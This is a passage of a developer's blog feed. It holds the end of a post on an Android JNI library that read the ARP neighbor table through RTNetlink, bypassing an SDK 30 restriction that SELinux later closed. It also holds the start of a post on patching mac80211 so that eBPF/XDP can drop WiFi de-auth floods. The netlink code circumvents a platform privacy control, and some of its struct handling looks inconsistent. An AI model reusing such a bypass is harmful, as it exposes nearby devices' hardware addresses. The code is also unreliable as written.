&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iov&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;iov_base &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iov&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;iov_len &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; len &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;rtnl_receive&lt;/span&gt;(fd, msg, MSG_PEEK &lt;span style="color:#ff7b72;font-weight:bold"&gt;|&lt;/span&gt; MSG_TRUNC);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (len &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; len;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; buf &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;malloc&lt;/span&gt;(len);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (&lt;span style="color:#ff7b72;font-weight:bold"&gt;!&lt;/span&gt;buf)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;-&lt;/span&gt;ENOMEM;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iov&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;iov_base &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iov&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;iov_len &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; len;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; len &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;rtnl_receive&lt;/span&gt;(fd, msg, &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (len &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;free&lt;/span&gt;(buf);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; len;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;answer &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; len;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;MSG_PEEK | MSG_TRUNC&lt;/code&gt; is a useful trick: it returns the total message size without consuming the data, so we know exactly how much to &lt;code&gt;malloc()&lt;/code&gt; before the real read.&lt;/p&gt;
&lt;h3 id="extracting-neighbor-entries"&gt;Extracting Neighbor Entries&lt;/h3&gt;
&lt;p&gt;Each netlink message with type &lt;code&gt;RTM_GETNEIGH&lt;/code&gt; (28 in the response) contains a &lt;code&gt;ndmsg&lt;/code&gt; structure followed by route attributes. The parsing loop walks the message chain using the standard &lt;code&gt;NLMSG_OK&lt;/code&gt; / &lt;code&gt;NLMSG_NEXT&lt;/code&gt; macros and extracts the IP address, MAC address, interface name, and NUD (Neighbor Unreachability Detection) state:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;while&lt;/span&gt; (&lt;span style="color:#d2a8ff;font-weight:bold"&gt;NLMSG_OK&lt;/span&gt;(h, msglen)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (h&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;nlmsg_type &lt;span style="color:#ff7b72;font-weight:bold"&gt;==&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;28&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; route_entry &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; rtmsg &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;) &lt;span style="color:#d2a8ff;font-weight:bold"&gt;NLMSG_DATA&lt;/span&gt;(h);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; route_attribute &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; rtattr &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;) &lt;span style="color:#d2a8ff;font-weight:bold"&gt;RTM_RTA&lt;/span&gt;(route_entry);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (route_attribute&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;rta_type &lt;span style="color:#ff7b72;font-weight:bold"&gt;==&lt;/span&gt; RTA_DST) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;inet_ntop&lt;/span&gt;(AF_INET, &lt;span style="color:#d2a8ff;font-weight:bold"&gt;RTA_DATA&lt;/span&gt;(route_attribute),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; destination_address, &lt;span style="color:#ff7b72"&gt;sizeof&lt;/span&gt;(destination_address));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inf_msg_ptr &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; ifinfomsg &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;) &lt;span style="color:#d2a8ff;font-weight:bold"&gt;NLMSG_DATA&lt;/span&gt;(h);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rta_ptr &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; rtattr &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;) &lt;span style="color:#d2a8ff;font-weight:bold"&gt;IFLA_RTA&lt;/span&gt;(inf_msg_ptr);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;memcpy&lt;/span&gt;(mac_buf, &lt;span style="color:#d2a8ff;font-weight:bold"&gt;RTA_DATA&lt;/span&gt;(rta_ptr), &lt;span style="color:#a5d6ff"&gt;10&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rtmp &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; ndmsg &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;) &lt;span style="color:#d2a8ff;font-weight:bold"&gt;NLMSG_DATA&lt;/span&gt;(h);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;char&lt;/span&gt; ifname[&lt;span style="color:#a5d6ff"&gt;1024&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;if_indextoname&lt;/span&gt;(inf_msg_ptr&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;ifi_index, ifname);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;// Output depends on NUD state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;switch&lt;/span&gt; (rtmp&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;ndm_state) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;NUD_REACHABLE&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;fprintf&lt;/span&gt;(fd, &lt;span style="color:#a5d6ff"&gt;&amp;#34;%s dev %s lladdr %02x:%02x:%02x:%02x:%02x:%02x REACHABLE&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;\n&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; destination_address, ifname,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mac_buf[&lt;span style="color:#a5d6ff"&gt;4&lt;/span&gt;], mac_buf[&lt;span style="color:#a5d6ff"&gt;5&lt;/span&gt;], mac_buf[&lt;span style="color:#a5d6ff"&gt;6&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mac_buf[&lt;span style="color:#a5d6ff"&gt;7&lt;/span&gt;], mac_buf[&lt;span style="color:#a5d6ff"&gt;8&lt;/span&gt;], mac_buf[&lt;span style="color:#a5d6ff"&gt;9&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;NUD_STALE&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;// ... same format, STALE state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;NUD_DELAY&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;NUD_PROBE&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;NUD_FAILED&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;// ... handle each state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; h &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;NLMSG_NEXT&lt;/span&gt;(h, msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The NUD states map directly to what &lt;code&gt;ip neigh&lt;/code&gt; shows: &lt;code&gt;REACHABLE&lt;/code&gt; means the entry was recently confirmed, &lt;code&gt;STALE&lt;/code&gt; means it hasn&amp;rsquo;t been used recently, &lt;code&gt;DELAY&lt;/code&gt; and &lt;code&gt;PROBE&lt;/code&gt; are transitional states during revalidation, and &lt;code&gt;FAILED&lt;/code&gt; means resolution timed out. The output format intentionally mirrors &lt;code&gt;ip neigh show&lt;/code&gt; so that existing parsing code works unchanged.&lt;/p&gt;
&lt;p&gt;The output is written to the file descriptor passed from Java, making it available to the app through the &lt;code&gt;ParcelFileDescriptor&lt;/code&gt; pipe.&lt;/p&gt;
&lt;h2 id="selinux-closes-the-door"&gt;SELinux Closes the Door&lt;/h2&gt;
&lt;p&gt;This workaround worked well for a while. But Google eventually patched it — not at the socket API level, but through &lt;strong&gt;SELinux policy&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Android&amp;rsquo;s SELinux policies were updated to deny &lt;code&gt;nlmsg_read&lt;/code&gt; permissions on &lt;code&gt;netlink_route_socket&lt;/code&gt; for untrusted app domains. This means that even if you manage to create and use a netlink socket without binding, the kernel&amp;rsquo;s SELinux hooks will block the &lt;code&gt;RTM_GETNEIGH&lt;/code&gt; dump request at the security policy level. The &lt;code&gt;send()&lt;/code&gt; succeeds but the response never comes — or the socket operation itself is denied with &lt;code&gt;EACCES&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;SELinux operates at a layer below the system call interface. There is no user-space workaround for a mandatory access control denial. The library stopped working on devices with updated SELinux policies, which rolled out progressively across Android 12 and later.&lt;/p&gt;
&lt;h2 id="the-ubiquiti-story"&gt;The Ubiquiti Story&lt;/h2&gt;
&lt;p&gt;Before I open-sourced the library, &lt;a href="https://ui.com"&gt;Ubiquiti&lt;/a&gt; reached out. They wanted to buy the workaround for their app &lt;a href="https://play.google.com/store/apps/details?id=com.ubnt.usurvey"&gt;WiFiMan&lt;/a&gt;, a popular network scanner that was affected by the same SDK 30 restriction. They offered to pay for a license.&lt;/p&gt;
&lt;p&gt;I declined the offer. I preferred to release the code as open source under CC0-1.0 (public domain). Shortly after, Ubiquiti was able to implement their own solution independently.&lt;/p&gt;
&lt;h2 id="source-code"&gt;Source Code&lt;/h2&gt;
&lt;p&gt;The library is available at &lt;a href="https://github.com/fulvius31/ip-neigh-sdk30"&gt;github.com/fulvius31/ip-neigh-sdk30&lt;/a&gt;, licensed under CC0-1.0.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s no longer effective on modern Android due to the SELinux changes, but it documents a real technique for working with RTNetlink from Android native code and the cat-and-mouse game between app developers and platform restrictions. It was a fun workaround while it lasted.&lt;/p&gt;</content><category term="android"/><category term="netlink"/><category term="jni"/><category term="networking"/><category term="arp"/><category term="open-source"/></entry><entry><title>Blocking WiFi De-Auth Attacks in the Kernel with eBPF and XDP</title><link href="https://contact.alessandrosangiorgi.net/posts/ebpf-xdp-wifi-deauth-defense/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/ebpf-xdp-wifi-deauth-defense/</id><published>2026-04-07T00:00:00Z</published><updated>2026-04-07T00:00:00Z</updated><summary>I patched the Linux mac80211 kernel module to support XDP on wireless interfaces and built an eBPF program that detects and drops 802.11 de-authentication floods — reducing detection time by 60% vs libpcap and improving throughput stability over 802.11w. Published at IEEE NetSoft 2025.</summary><content type="html">&lt;p&gt;802.11 de-authentication attacks are one of the oldest and cheapest WiFi denial-of-service techniques. An attacker sends forged de-auth management frames to disconnect clients from an access point — &lt;code&gt;aireplay-ng&lt;/code&gt; sends 128 per attack command (64 directed at the AP, 64 at the client). Despite being a known problem for over two decades, the main defense is still 802.11w (Protected Management Frames), which requires both AP and client support and still degrades under high-rate floods.&lt;/p&gt;
&lt;p&gt;I took a different approach: detect and drop de-auth floods &lt;strong&gt;in the kernel&lt;/strong&gt; using eBPF and XDP — at the mac80211 wireless driver level, before the frames ever reach the network stack. This is the first application of eBPF to the 802.11 protocol. The paper was published at &lt;a href="https://ieeexplore.ieee.org/document/11080545"&gt;IEEE NetSoft 2025&lt;/a&gt; as first author.&lt;/p&gt;
&lt;h2 id="why-not-just-use-libpcap-or-80211w"&gt;Why Not Just Use libpcap or 802.11w?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;libpcap&lt;/strong&gt; is the traditional approach — capture packets in user space and analyze them. But it introduces latency from kernel-to-user-space copying, requires monitor mode (not all drivers support it), and is purely passive — it can detect but can&amp;rsquo;t drop packets. Under attack, the copy overhead spikes exactly when you need speed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;802.11w&lt;/strong&gt; encrypts management frames to prevent spoofing, but it struggles with high-rate de-auth floods. Our experiments show that under sustained attack, 802.11w throughput drops below 5 Mbps with erratic spikes, while our eBPF/XDP solution maintains a consistent 10–12 Mbps. Additionally, many legacy devices and drivers lack PMF support — some APs are forced to disable 802.11w entirely to maintain compatibility.&lt;/p&gt;
&lt;p&gt;XDP (eXpress Data Path) runs eBPF programs at the &lt;strong&gt;earliest possible point&lt;/strong&gt; in the Linux network stack — at the driver level, before a &lt;code&gt;sk_buff&lt;/code&gt; is even allocated. But XDP doesn&amp;rsquo;t work on WiFi interfaces. The Linux mac80211 subsystem has no &lt;code&gt;ndo_bpf&lt;/code&gt; callback. So I patched the kernel.&lt;/p&gt;
&lt;h2 id="patching-mac80211-for-xdp-support"&gt;Patching mac80211 for XDP Support&lt;/h2&gt;
&lt;p&gt;I modified two files in the &lt;code&gt;mac80211&lt;/code&gt; kernel module — the framework that implements IEEE 802.11 for wireless LAN drivers. Implementing XDP at the mac80211 level (rather than in individual drivers) ensures compatibility across all wireless drivers that use this module.&lt;/p&gt;
&lt;h3 id="ifacec-the-ndo_bpf-callback"&gt;&lt;code&gt;iface.c&lt;/code&gt;: The &lt;code&gt;ndo_bpf&lt;/code&gt; Callback&lt;/h3&gt;
&lt;p&gt;This patch adds the infrastructure to attach and detach BPF programs on a wireless interface. It registers a &lt;code&gt;.ndo_bpf&lt;/code&gt; handler in the &lt;code&gt;ieee80211_dataif_ops&lt;/code&gt; structure — the net device operations table for mac80211 data interfaces:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;static&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;generic_xdp_setup&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; net_device &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;dev, &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; netdev_bpf &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;bpf)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; bpf_prog &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;old_prog, &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;new_prog;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; new_prog &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; bpf&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;prog;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; old_prog &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;xchg&lt;/span&gt;(&lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt;dev&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;xdp_prog, new_prog);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (old_prog)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;bpf_prog_put&lt;/span&gt;(old_prog);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;static&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;ieee80211_xdp&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; net_device &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;dev, &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; netdev_bpf &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;xdp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;switch&lt;/span&gt; (xdp&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;command) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;XDP_SETUP_PROG&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;generic_xdp_setup&lt;/span&gt;(dev, xdp);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;default&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;-&lt;/span&gt;EINVAL;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;xchg()&lt;/code&gt; atomically swaps the old program pointer with the new one. &lt;code&gt;ieee80211_xdp&lt;/code&gt; is then registered in the device ops:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;static&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;const&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; net_device_ops ieee80211_dataif_ops &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;// ... existing ops ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .ndo_bpf &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; ieee80211_xdp,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;ndo_bpf&lt;/code&gt; routine is invoked from user space via Netlink sockets using &lt;code&gt;iproute2&lt;/code&gt; or &lt;code&gt;bpftool&lt;/code&gt;. After this patch, &lt;code&gt;ip link set dev wlan0 xdp obj program.o&lt;/code&gt; works on wireless interfaces.&lt;/p&gt;
&lt;h3 id="rxc-xdp-execution-in-the-receive-path"&gt;&lt;code&gt;rx.c&lt;/code&gt;: XDP Execution in the Receive Path&lt;/h3&gt;
&lt;p&gt;This patch hooks into &lt;code&gt;ieee80211_rx_napi()&lt;/code&gt; — the main receive function that processes incoming packets using NAPI (New API) for efficient interrupt handling. It checks for an attached XDP program and runs it on every incoming frame:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;xdp_prog &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;ieee80211_get_xdp_prog&lt;/span&gt;(sdata&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;dev);
